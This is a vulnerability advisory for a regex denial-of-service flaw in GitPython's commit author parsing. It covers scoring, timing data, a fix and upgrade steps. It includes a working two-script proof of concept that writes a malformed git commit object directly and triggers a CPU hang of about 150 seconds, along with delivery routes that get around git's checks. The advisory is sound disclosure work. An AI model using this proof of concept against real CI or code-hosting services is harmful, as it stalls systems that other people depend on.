GHSA-g5vv-9gxw-82hx CVE-2026-87819 PYSEC-2026-3984
GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing
- Severity
- 8.7 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.52%
- Chance of exploitation in the next 30 days. Higher than 44.26% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
3.1.60- Upgrade gitpython to this version or later
Description
Summary
GitPython's Actor.name_email_regex regular expression (git/util.py, line 863)
is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of
Service). When GitPython parses the author or committer header of a git commit
object that contains a long string with an unterminated < (no matching >), the
Python regex engine enters quadratic backtracking, causing complete single-threaded
CPU exhaustion proportional to the square of the input length.
A single crafted commit object can block any GitPython API call that reads
.author or .committer for over two minutes per invocation, enabling denial
of service against CI runners, code-hosting backends, repository-scanning
pipelines, or any service that processes commits from third-party or untrusted
repositories.
Details
Vulnerable file and line:
git/util.py, line 863:
name_email_regex = re.compile(r"(.*) <(.*?)>")
This regex is evaluated inside Actor._from_string() (line 909) every time
GitPython resolves a commit's .author or .committer property.
Full call chain — from public API to vulnerable sink:
commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE
author_line is decoded directly from the raw bytes of the git commit object with
no length limit, character restriction, or timeout applied at any point before
reaching the regex engine. The same chain is triggered by:
commit.authorcommit.committerrepo.iter_commits()repo.blame()- Any web service / CI tool that displays or processes commit metadata
Why this pattern backtracks catastrophically:
The pattern (.*) <(.*?)> contains an unbounded greedy group (.*) followed by
a literal space and <. When the input is a long string that contains < but no
closing >, the regex engine must try every possible split position for the greedy
group — O(n²) candidate positions for a string of length n — each of which then
drives the inner lazy group into further sub-match attempts. This is the
well-documented "catastrophic backtracking" failure mode for this family of
patterns.
Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):
| Author field length (bytes) | Time to resolve .author |
|---|---|
| 1,000 | 0.0035 s |
| 5,000 | 0.084 s |
| 10,000 | 0.341 s |
| 20,000 | 1.525 s |
| 40,000 | 5.963 s |
| 60,000 | 13.360 s |
| 80,000 | 23.871 s |
| 200,000 | 150.488 s |
Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes no practical size limit on author name fields in the object format.
How the malicious object reaches a victim:
The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git
loose object written directly into .git/objects/. git cat-file -t <sha> confirms
it is a valid commit type and git's own read-side tools display it without error.
Only git's write-side tooling (git commit --author, git update-index,
explicit git fsck) applies the sanity checks that would reject a malformed author
line. Delivery paths that bypass those checks include:
- A git server with
receive.fsckObjects = false(common in self-hosted deployments) - A
.gitdirectory shipped as a tarball, backup, or zip archive - A git bundle file
- Any automated mirror or import tool that operates at the object level
PoC
Environment used for testing:
- GitPython 3.1.59, installed in editable mode from source (no code modifications)
- Python 3.12.3, git 2.43.0, Ubuntu 24.04
Script 1 — craft the malicious repository (craft_malicious_repo.py):
#!/usr/bin/env python3
"""
Creates a git repository with one commit whose 'author' field is a large
string containing an unterminated '<'. Bypasses git's write-side sanity
checks by writing the raw object directly into .git/objects/.
Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes>
"""
import hashlib, os, subprocess, sys, zlib
def run(cmd, cwd):
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True)
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>")
sys.exit(1)
target_dir, payload_size = sys.argv[1], int(sys.argv[2])
os.makedirs(target_dir, exist_ok=True)
run(["git", "init", "--quiet"], cwd=target_dir)
run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir)
run(["git", "config", "user.name", "PoC"], cwd=target_dir)
with open(os.path.join(target_dir, "README.txt"), "w") as f:
f.write("GitPython ReDoS PoC repository\n")
run(["git", "add", "README.txt"], cwd=target_dir)
tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip()
malicious_name = "A" * payload_size
# Key: author field contains a '<' with no closing '>'
author_line = f"author {malicious_name} <unterminated 1691999972 -0700"
committer_line = "committer PoC <poc@example.com> 1691999972 -0700"
message = "ReDoS PoC commit"
commit_content = (
f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n"
).encode()
header = f"commit {len(commit_content)}\x00".encode()
store = header + commit_content
sha = hashlib.sha1(store).hexdigest()
compressed = zlib.compress(store)
objdir = os.path.join(target_dir, ".git", "objects", sha[:2])
os.makedirs(objdir, exist_ok=True)
with open(os.path.join(objdir, sha[2:]), "wb") as f:
f.write(compressed)
run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir)
print(f"Malicious commit sha : {sha}")
print(f"Payload size : {payload_size} bytes")
verify = subprocess.run(
["git", "cat-file", "-t", sha],
cwd=target_dir, capture_output=True, text=True
)
print(f"git cat-file -t confirms: {verify.stdout.strip()}")
if __name__ == "__main__":
main()
Script 2 — trigger the vulnerability (trigger_redos.py):
#!/usr/bin/env python3
"""
Opens the repository with GitPython and times commit.author access,
which triggers Actor._from_string() -> Actor.name_email_regex.search().
Usage: python3 trigger_redos.py <repo_dir> <commit_sha>
"""
import sys, time, git
def main():
if len(sys.argv) != 3:
print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>")
sys.exit(1)
repo = git.Repo(sys.argv[1])
commit = repo.commit(sys.argv[2])
print("Accessing commit.author — triggers Actor._from_string()...")
t0 = time.time()
author = commit.author # ← this single line causes the hang
elapsed = time.time() - t0
print(f"Author name length : {len(author.name)} chars")
print(f"Elapsed : {elapsed:.3f} seconds")
print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered")
if __name__ == "__main__":
main()
Execution and observed output:
$ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit
$ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE
Docker reproduction (fully isolated environment):
docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash
# Inside the container:
apt-get update && apt-get install -y git
git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython
pip install -e /work/GitPython
python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000
# note the SHA printed, then:
python3 /work/poc/trigger_redos.py /work/victim-repo <SHA>
The python:3.8-bookworm base image matches the one used in GitPython's own
fuzzing/local-dev-helpers/Dockerfile.
Impact
Who is affected:
Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include:
- CI/CD systems (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it.
- Code-hosting or code-review web services that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata.
- Security or compliance scanners that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker.
Severity of impact:
A 200 KB author field blocks a process for ~150 seconds per single .author
access. When iter_commits() or blame are used, every commit in a history
traversal can be independently crafted, multiplying the total hang time by the
number of commits processed. There is no confidentiality or integrity impact —
this is a pure availability / resource-exhaustion vulnerability.
Suggested Fix
Replace the vulnerable pattern with one that cannot backtrack catastrophically.
The minimal, behavior-preserving fix is to exclude < and > from the name
group, removing the ambiguity that forces O(n²) backtracking:
# git/util.py, line 863
# Before (vulnerable):
name_email_regex = re.compile(r"(.*) <(.*?)>")
# After (fixed — identical output for all well-formed input):
name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>")
Because the name group can no longer itself contain a < character, the engine
has exactly one candidate position to try when a closing > is absent — and fails
in O(n) time instead of O(n²). Legitimate actor strings (Name <email>) never
contain < or > in either field, so this change produces identical results for
all valid input.
As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| gitpython | < 3.1.60 |
3.1.60 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
gitpython PyPI → 3.1.60
- pip
pip install --upgrade "gitpython>=3.1.60"- poetry
poetry add "gitpython>=3.1.60"- uv
uv add "gitpython>=3.1.60"
Severity breakdown
CVSS 4.0 8.7
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- None
- Integrity (vulnerable system)
- None
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Weakness
CWE-1333: Inefficient Regular Expression Complexity
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
How to prevent it
- Architecture and Design: Use regular expressions that do not support backtracking, e.g. by removing nested quantifiers.
- System Configuration: Set backtracking limits in the configuration of the regular expression implementation, such as PHP's pcre.backtrack_limit. Also consider limits on execution time for the process.
- Implementation: Do not use regular expressions with untrusted input. If regular expressions must be used, avoid using backtracking in the expression.
- Implementation: Limit the length of the input that the regular expression will process.
CWE-400: Uncontrolled Resource Consumption
The product does not properly control the allocation and maintenance of a limited resource.
How to prevent it
- Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
- Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
- Implementation: Ensure that all failures in resource allocation place the system into a safe posture.
References
Packages
Other links
- github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx
- github.com/gitpython-developers/GitPython/pull/2215
- github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc40…
- github.com/gitpython-developers/GitPython/releases/tag/3.1.60
- github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml
- vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-83vg-56qc-22m7 GitPython validates a submodule's ".git" path only after cloning into it (RCE) | High | Also affects gitpython |
| GHSA-gq48-pqfc-9p58 GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree | Medium | Also affects gitpython |
| GHSA-23mf-xhv8-69c2 GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679) | High | Also affects gitpython |
| GHSA-f9j4-qggq-h239 GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution | Critical | Also affects gitpython |
| GHSA-w8jc-g24h-crhw GitPython command wrappers omit unsafe protocol and option checks | High | Also affects gitpython |
| GHSA-m64x-33q8-m5h7 GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines | High | Also affects gitpython |
| GHSA-fx3j-rwgx-fr94 GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name | High | Also affects gitpython |
| GHSA-59cr-6r3x-644w GitPython submodule update path traversal can write outside the repository | Medium | Also affects gitpython |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor